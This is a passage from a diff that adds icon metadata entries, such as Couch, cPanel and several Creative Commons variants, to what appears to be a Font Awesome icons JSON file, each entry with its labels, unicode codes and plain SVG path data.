"furniture", + "relax", + "sofa" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4b8", + "label": "Couch", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635433, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z" + } + }, + "free": [ + "solid" + ] + }, + "cpanel": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f388", + "label": "cPanel", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722325, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons": { + "changes": [ + "4.4", + "5.0.0", + "5.0.11", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f25e", + "label": "Creative Commons", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860977, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-by": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4e7", + "label": "Creative Commons Attribution", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860975, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-nc": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4e8", + "label": "Creative Commons Noncommercial", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860976, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-nc-eu": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4e9", + "label": "Creative Commons Noncommercial (Euro Sign)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860975, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-nc-jp": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4ea", + "label": "Creative Commons Noncommercial (Yen Sign)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860975, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-nd": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4eb", + "label": "Creative Commons No Derivative Works", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860976, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-pd": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4ec", + "label": "Creative Commons Public Domain", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860976, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-pd-alt": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4ed", + "label": "Alternate Creative Commons Public Domain", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722326, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-remix": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4ee", + "label": "Creative Commons Remix", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860976, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-sa": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4ef", + "label": "Creative Commons Share Alike", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860977, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-sampling": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f0", + "label": "Creative Commons Sampling", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860977, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 